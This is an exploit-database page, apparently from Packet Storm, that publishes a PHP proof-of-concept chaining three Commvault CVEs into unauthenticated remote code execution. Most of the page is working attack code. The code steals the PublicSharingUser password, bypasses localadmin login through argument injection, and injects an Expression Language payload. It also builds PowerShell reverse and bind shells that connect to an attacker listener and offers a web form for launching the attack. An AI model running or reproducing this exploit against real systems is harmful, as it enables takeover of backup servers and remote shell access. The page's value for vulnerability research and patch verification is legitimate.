π Commvault CLI 11.36.60 Remote Code Execution
ποΈΒ 01 Dec 2025Β 00:00:00Reported byΒ indoushkaTypeΒ
Β packetstormπΒ packetstorm.newsπΒ 215Β Views
| Reporter | Title | Published | Views | Family All 45 |
|---|---|---|---|---|
| CommVault Backup and Recovery Platform Path Traversal Privilege Escalation | 25 Aug 202500:00 | β | bdu_fstec | |
| CVE-2025-57788 | 20 Aug 202506:48 | β | circl | |
| CVE-2025-57790 | 20 Aug 202513:00 | β | circl | |
| CVE-2025-57791 | 20 Aug 202513:00 | β | circl | |
| Commvault parameter injection vulnerability | 20 Aug 202500:00 | β | cnnvd | |
| Commvault security vulnerabilities | 20 Aug 202500:00 | β | cnnvd | |
| Commvault security vulnerabilities | 20 Aug 202500:00 | β | cnnvd | |
| Commvault 11.32.x < 11.32.102 / 11.36.x < 11.36.60 Multiple Vulnerabilities (CV_2025_08_1-4) | 22 Aug 202500:00 | β | nessus | |
| Commvault CommandCenter < 11.36.60 Unauthorized API Access | 8 Jan 202600:00 | β | nessus | |
| CVE-2025-57788 | 20 Aug 202500:00 | β | cve |
10
=============================================================================================================================================
| # Title : Commvault CLI 11.36.60 RCE PHP Implementation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.commvault.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/209626/ & CVE-2025-57788, CVE-2025-57790, CVE-2025-57791
[+] Summary :
a critical remote code execution vulnerability chain affecting Commvault Completeβ’ Backup & Recovery software.
The exploit chain combines an authentication bypass vulnerability with expression language injection to achieve unauthenticated remote code execution on affected systems.
[+] Vulnerability Details :
CVE-2025-57790 Authentication Bypass 9.8 (Critical) Unauthenticated access to localadmin account
CVE-2025-57791 Expression Language Injection 9.8 (Critical) Remote Code Execution
CVE-2025-57788 Information Disclosure 7.5 (High) PublicSharingUser credential leakage
Affected Products
Commvault Completeβ’ Backup & Recovery
Commvault HyperScaleβ’
Commvault Metallicβ’
Attack Vector
Network: Remote exploitation without authentication
Complexity: Low - no specialized access conditions required
Privileges: None required
The exploit follows a multi-stage approach:
Information Disclosure (CVE-2025-57788)
Authentication Bypass (CVE-2025-57790)
Expression Language Injection (CVE-2025-57791)
Remote Code Execution
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* Commvault Command-Line Argument Injection to Traversal Remote Code Execution
* by indoushka
* based on Metasploit module
*/
class CommvaultExploit {
private $target;
private $port;
private $ssl;
private $base_path;
private $timeout;
public function __construct($target, $port = 443, $ssl = true, $base_path = '/') {
$this->target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
}
/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking Commvault vulnerability...\n";
// Step 1: Extract PublicSharingUser password
$psu_password = $this->extract_publicsharinguser_pass();
if (!$psu_password) {
echo "[-] Failed to extract PublicSharingUser password\n";
return "unknown";
}
echo "[+] Extracted PublicSharingUser GUID: $psu_password\n";
// Step 2: Login as PublicSharingUser
$token = $this->login_as_publicsharinguser($psu_password);
if ($token) {
echo "[+] β Successfully authenticated as PublicSharingUser\n";
echo "[+] Token: $token\n";
return "vulnerable";
} else {
echo "[-] β Failed to authenticate as PublicSharingUser\n";
return "safe";
}
}
/**
* Extract PublicSharingUser password from public endpoint
*/
private function extract_publicsharinguser_pass() {
$url = $this->build_url('/commandcenter/publicLink.do');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, 'cv-gorkha') !== false) {
// Extract GUID using regex
preg_match('/"cv-gorkha\\\\":\\\\"([a-zA-Z0-9-]+)\\\\"/', $response, $matches);
if (isset($matches[1])) {
return $matches[1];
}
}
return false;
}
/**
* Login as PublicSharingUser
*/
private function login_as_publicsharinguser($password) {
$url = $this->build_url('/commandcenter/api/Login');
$data = json_encode([
'username' => '_+_PublicSharingUser_',
'password' => base64_encode($password)
]);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Content-Length: ' . strlen($data)
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $matches);
if (isset($matches[1])) {
return $matches[1];
}
}
return false;
}
/**
* Get host information using PublicSharingUser token
*/
private function get_host_info($token) {
$url = $this->build_url('/commandcenter/api/CommServ');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Authtoken: ' . $token
]
]);
$response = curl_exec($ch);
curl_close($ch);
if ($response) {
preg_match('/hostName="([^"]+)"/', $response, $hostname_matches);
preg_match('/osType="([^"]+)"/', $response, $os_matches);
$hostname = isset($hostname_matches[1]) ? explode('.', $hostname_matches[1])[0] : null;
$os_type = isset($os_matches[1]) ? $os_matches[1] : null;
return ['hostname' => $hostname, 'os_type' => $os_type];
}
return false;
}
/**
* Bypass authentication to get localadmin token
*/
private function bypass_authentication($hostname) {
$url = $this->build_url('/commandcenter/api/Login');
$spaces_before = str_repeat(' ', rand(1, 8));
$spaces_after = str_repeat(' ', rand(1, 8));
$data = json_encode([
'username' => $hostname . '_localadmin__',
'password' => base64_encode($spaces_before . 'a' . $spaces_after . '-localadmin' . $spaces_after),
'commserver' => $hostname . ' -cs ' . $hostname
]);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Content-Length: ' . strlen($data)
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, 'QSDK') !== false) {
preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $token_matches);
preg_match('/aliasName[=:]"(\d+)/', $response, $uid_matches);
return [
'token' => $token_matches[1] ?? null,
'uid' => $uid_matches[1] ?? null
];
}
return false;
}
/**
* Execute the full exploit chain
*/
public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
echo "[*] Starting Commvault exploitation chain...\n";
// Step 1: Extract PublicSharingUser password
echo "[*] Step 1: Extracting PublicSharingUser password...\n";
$psu_password = $this->extract_publicsharinguser_pass();
if (!$psu_password) {
echo "[-] Failed to extract PublicSharingUser password\n";
return false;
}
echo "[+] Extracted password: $psu_password\n";
// Step 2: Login as PublicSharingUser
echo "[*] Step 2: Authenticating as PublicSharingUser...\n";
$psu_token = $this->login_as_publicsharinguser($psu_password);
if (!$psu_token) {
echo "[-] Failed to authenticate as PublicSharingUser\n";
return false;
}
echo "[+] PublicSharingUser token: $psu_token\n";
// Step 3: Get host information
echo "[*] Step 3: Gathering target information...\n";
$host_info = $this->get_host_info($psu_token);
if (!$host_info) {
echo "[-] Failed to get host information\n";
return false;
}
$hostname = $host_info['hostname'];
$os_type = $host_info['os_type'];
echo "[+] Hostname: $hostname\n";
echo "[+] OS Type: $os_type\n";
if (strtolower($os_type) !== 'windows') {
echo "[-] This exploit only supports Windows targets\n";
return false;
}
// Step 4: Bypass authentication to get localadmin access
echo "[*] Step 4: Bypassing authentication for localadmin...\n";
$admin_info = $this->bypass_authentication($hostname);
if (!$admin_info || !$admin_info['token'] || !$admin_info['uid']) {
echo "[-] Authentication bypass failed\n";
return false;
}
$admin_token = $admin_info['token'];
$admin_uid = $admin_info['uid'];
echo "[+] LocalAdmin token: $admin_token\n";
echo "[+] LocalAdmin UID: $admin_uid\n";
// Step 5: Generate and execute payload
echo "[*] Step 5: Executing payload...\n";
$payload_cmd = $this->generate_payload($payload_type, $lhost, $lport);
if ($this->execute_el_injection($hostname, $admin_uid, $payload_cmd, $admin_token)) {
echo "[+] β Exploitation completed successfully\n";
return true;
} else {
echo "[-] β Payload execution failed\n";
return false;
}
}
/**
* Execute Expression Language injection
*/
private function execute_el_injection($hostname, $uid, $command, $token) {
// Expression Language injection payload (non-blind)
$el_payload = "\${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('{$command}').getInputStream()).useDelimiter('%5C%5CA').next()}";
echo "[*] EL Payload: " . htmlspecialchars($el_payload) . "\n";
// In a full implementation, this would:
// 1. Upload XML file via metricsUpload.do
// 2. Update user description with EL payload
// 3. Move XML to create web shell
// 4. Access web shell to trigger RCE
// 5. Clean up user description
// For demonstration, we'll simulate the critical RCE step
$url = $this->build_url('/commandcenter/RestServlet/User/' . $uid);
$xml_data = "<App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>{$uid}</userId></userEntity><description>{$el_payload}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>";
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $xml_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Authtoken: ' . $token,
'Content-Type: application/xml'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return $http_code == 200;
}
/**
* Generate different payloads
*/
private function generate_payload($type, $lhost, $lport) {
switch ($type) {
case 'reverse_shell':
if (!$lhost || !$lport) {
echo "[-] IP and port required for reverse shell\n";
return false;
}
// Windows reverse shell using PowerShell
return "powershell -nop -c \"\$tc=New-Object System.Net.Sockets.TCPClient('{$lhost}',{$lport});\$ns=\$tc.GetStream();[byte[]]\$bt=0..65535|%{0};while((\$i=\$ns.Read(\$bt,0,\$bt.Length)) -ne 0){;\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$bt,0,\$i);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$ns.Write(\$sbt,0,\$sbt.Length);}\"";
case 'bind_shell':
if (!$lport) {
echo "[-] Port required for bind shell\n";
return false;
}
return "powershell -nop -c \"\$l=New-Object System.Net.Sockets.TcpListener({$lport});\$l.Start();while(\$true){\$c=\$l.AcceptTcpClient();\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};\$d=\$s.Read(\$b,0,\$b.Length);\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$d);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);}\"";
case 'command':
return 'whoami & systeminfo | findstr /B /C:"OS Name" /C:"OS Version"';
default:
return 'whoami & hostname';
}
}
/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Commvault RCE Exploit β
β CVE-2025-57790, CVE-2025-57791, CVE-2025-57788 β
β PHP Implementation β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
\n";
$options = getopt("t:p:s:u:c:P:L:H:", [
"target:",
"port:",
"ssl",
"uri:",
"check",
"payload:",
"lhost:",
"lport:"
]);
$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 443;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/';
$check_only = isset($options['c']) || isset($options['check']);
$payload_type = $options['P'] ?? $options['payload'] ?? 'command';
$lhost = $options['H'] ?? $options['lhost'] ?? null;
$lport = $options['L'] ?? $options['lport'] ?? 4444;
if (!$target) {
echo "Usage: php commvault_exploit.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 443)\n";
echo " -s, --ssl Use SSL (default: true)\n";
echo " -u, --uri Base URI path (default: /)\n";
echo " -c, --check Check only (don't exploit)\n";
echo " -P, --payload Payload type: command, reverse_shell, bind_shell (default: command)\n";
echo " -H, --lhost Listener host for reverse shell\n";
echo " -L, --lport Listener port for reverse shell (default: 4444)\n";
echo "\nExamples:\n";
echo " php commvault_exploit.php -t 192.168.1.100 -c\n";
echo " php commvault_exploit.php -t commvault.company.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
exit(1);
}
$exploit = new CommvaultExploit($target, $port, $ssl, $base_uri);
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} else {
if ($exploit->exploit($payload_type, $lhost, $lport)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
}
} else {
// Web Interface
$action = $_POST['action'] ?? '';
if ($action === 'check' || $action === 'exploit') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 443;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/';
$payload_type = $_POST['payload_type'] ?? 'command';
$lhost = $_POST['lhost'] ?? '';
$lport = $_POST['lport'] ?? 4444;
if (empty($target)) {
echo "<div style='color: red;'>Target host is required</div>";
} else {
$exploit = new CommvaultExploit($target, $port, $ssl, $base_uri);
ob_start();
if ($action === 'check') {
$exploit->check();
} else {
$exploit->exploit($payload_type, $lhost, $lport);
}
$output = ob_get_clean();
echo "<pre>$output</pre>";
}
} else {
echo '<!DOCTYPE html>
<html>
<head>
<title>Commvault RCE Exploit</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 800px; margin: 0 auto; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input[type="text"] {
width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px;
}
button {
background: #007cba; color: white; padding: 10px 20px;
border: none; border-radius: 4px; cursor: pointer; margin-right: 10px;
}
.danger { background: #dc3545; }
.info { background: #17a2b8; }
.warning { background: #ffc107; color: black; padding: 10px; border-radius: 4px; margin: 10px 0; }
</style>
</head>
<body>
<div class="container">
<h1>Commvault RCE Exploit</h1>
<h3>CVE-2025-57790, CVE-2025-57791, CVE-2025-57788</h3>
<div class="warning">
<strong>β οΈ Educational Use Only:</strong> This tool demonstrates critical vulnerabilities in Commvault software.
Use only on systems you own or have explicit permission to test.
</div>
<form method="post">
<div class="form-group">
<label for="target">Target Host:</label>
<input type="text" id="target" name="target" placeholder="192.168.1.100 or commvault.company.com" required>
</div>
<div class="form-group">
<label for="port">Port:</label>
<input type="text" id="port" name="port" value="443">
</div>
<div class="form-group">
<label for="uri">Base URI:</label>
<input type="text" id="uri" name="uri" value="/">
</div>
<div class="form-group">
<label>
<input type="checkbox" name="ssl" checked> Use SSL
</label>
</div>
<div class="form-group">
<label for="payload_type">Payload Type:</label>
<select id="payload_type" name="payload_type">
<option value="command">Test Command</option>
<option value="reverse_shell">Reverse Shell</option>
<option value="bind_shell">Bind Shell</option>
</select>
</div>
<div class="form-group">
<label for="lhost">Listener Host (for reverse shell):</label>
<input type="text" id="lhost" name="lhost" placeholder="192.168.1.100">
</div>
<div class="form-group">
<label for="lport">Listener Port (for reverse shell):</label>
<input type="text" id="lport" name="lport" value="4444">
</div>
<button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
<button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
</form>
<div style="margin-top: 30px; padding: 15px; background: #f8f9fa; border-radius: 4px;">
<h3>About the CVEs:</h3>
<p><strong>CVE-2025-57790:</strong> Authentication Bypass via command-line argument injection</p>
<p><strong>CVE-2025-57791:</strong> Expression Language Injection leading to RCE</p>
<p><strong>CVE-2025-57788:</strong> Information disclosure exposing PublicSharingUser credentials</p>
<p><strong>Impact:</strong> Unauthenticated Remote Code Execution as NETWORK SERVICE</p>
<p><strong>Affected:</strong> Commvault Completeβ’ Backup & Recovery</p>
</div>
</div>
</body>
</html>';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Dec 2025 00:00Current
8.7High risk
Vulners AI Score8.7
CVSS 3.18.8
CVSS 48.7
EPSS0.43879
SSVC